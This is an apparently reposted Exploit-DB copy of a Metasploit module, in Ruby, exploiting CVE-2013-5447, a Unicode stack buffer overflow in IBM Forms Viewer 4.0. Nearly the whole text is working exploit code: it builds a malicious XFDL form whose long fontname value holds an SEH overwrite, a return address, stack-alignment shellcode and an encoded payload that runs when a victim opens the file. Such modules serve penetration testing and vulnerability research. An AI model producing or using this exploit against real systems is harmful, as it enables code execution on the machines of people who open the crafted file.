IBM Forms Viewer – Unicode Buffer Overflow (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2014-01-07
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/30789/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  require 'rexml/document'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include REXML
  include Msf::Exploit::FILEFORMAT
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'IBM Forms Viewer Unicode Buffer Overflow',
  'Description'=> %q{
  This module exploits a stack-based buffer overflow in IBM Forms Viewer. The vulnerability
  is due to a dangerous usage of strcpy-like function, and occurs while parsing malformed
  XFDL files, with a long fontname value. This module has been tested successfully on IBM
  Forms Viewer 4.0 on Windows XP SP3 and Windows 7 SP1.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'rgod <rgod[at]autistici.org>', # Vulnerability discovery
  'juan vazquez', # Metasploit module
  ],
  'References' =>
  [
  [ 'CVE', '2013-5447' ],
  [ 'OSVDB', '100732' ],
  [ 'ZDI', '13-274' ],
  [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21657500' ],
  ],
  'Payload'=>
  {
  'Space'=> 3000,
  'EncoderType'=> Msf::Encoder::Type::AlphanumUnicodeMixed,
  'EncoderOptions' =>
  {
  'BufferRegister' => 'ECX',
  'BufferOffset' => 10
  },
  'BadChars' => (0x00..0x08).to_a.pack("C*") + (0x0b..0x1f).to_a.pack("C*") +"\x26\x3c" + (0x80..0xff).to_a.pack("C*"),
  'DisableNops'=> true,
  # Fix the stack before the payload is executed, so we avoid
  # windows exceptions due to alignment
  'Prepend'=>
  "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
  "\x83\xC0\x08" + # add eax, byte 8
  "\x8b\x20" + # mov esp, [eax]
  "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000
  },
  'Platform' => 'win',
  'Targets'=>
  [
  [ 'IBM Forms Viewer 4.0 / Windows XP SP3 / Windows 7 SP1',
  # masqform.exe 8.0.0.266
  {
  'Ret'=> 0x4c30, # p/p/r unicode from masqform.exe
  'Nop'=> 0x47, # 004700 => add [edi+0x0],al
  'Offset' => 62
  }
  ]
  ],
  'Privileged' => false,
  'DisclosureDate' => 'Dec 05 2013',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('FILENAME', [ true, 'The file name.','msf.xfdl']),
  ], self.class)
  end
  
  def generate_xfdl
  xml = Document.new
  
  # XFDL
  xfdl = xml.add_element("XFDL", {
  'xmlns:custom' => "http://www.ibm.com/xmlns/prod/XFDL/Custom",
  'xmlns:designer' => "http://www.ibm.com/xmlns/prod/workplace/forms/designer/2.6",
  'xmlns:ev' => "http://www.w3.org/2001/xml-events",
  'xmlns:xfdl' => "http://www.ibm.com/xmlns/prod/XFDL/7.5",
  'xmlns:xforms' => "http://www.w3.org/2002/xforms",
  'xmlns'=> "http://www.ibm.com/xmlns/prod/XFDL/7.5",
  'xmlns:xsd'=> "http://www.w3.org/2001/XMLSchema",
  'xmlns:xsi'=> "http://www.w3.org/2001/XMLSchema-instance"
  })
  
  # XFDL => globalpage
  xdfl_global_page = xfdl.add_element("globalpage", {
  "sid" => "global"
  })
  global = xdfl_global_page.add_element("global", {
  "sid" => "global"
  })
  designer_date = global.add_element("designer:date")
  designer_date.text = "20060615"
  form_id = global.add_element("formid")
  form_id.add_element("title")
  serial_number = form_id.add_element("serialnumber")
  serial_number.text = "A6D5583E2AD0D54E:-72C430D4:10BD8923059:-8000"
  version_form = form_id.add_element("version")
  version_form.text = "1"
  
  # XFDL => page
  page = xfdl.add_element("page", {
  "sid" => "PAGE1"
  })
  
  # XFDL => page => global
  page_global = page.add_element("global", {
  "sid" => "global"
  })
  label_page = page_global.add_element("label")
  label_page.text = "PAGE1"
  
  # XFDL => page => label
  label = page.add_element("label", {
  "sid" => "title"
  })
  item_location = label.add_element("itemlocation")
  x = item_location.add_element("x")
  x.text = "20"
  y = item_location.add_element("y")
  y.text = "0"
  value = label.add_element("value", {
  "compute" => "global.global.custom:formTitle"
  })
  value.text = rand_text_alpha(10)
  font_info = label.add_element("fontinfo")
  font_name = font_info.add_element("fontname")
  font_name.text = "MSF_REPLACE"
  xml.to_s
  end
  
  
  def exploit
  sploit = rand_text_alpha(target['Offset'])
  sploit << "\x61\x62" # nseh # NSEH # popad (61) + nop compatible with unicode (add [edx+0x0],ah # 006200)
  sploit << [target.ret].pack("v") # seh # ppr
  sploit << [target['Nop']].pack("C")
  sploit << payload.encoded
  sploit << rand_text_alpha(4096)# make it crash
  
  xfdl = generate_xfdl.gsub(/MSF_REPLACE/, sploit) # To avoid rexml html encoding
  
  print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  file_create(xfdl)
  end
  
  end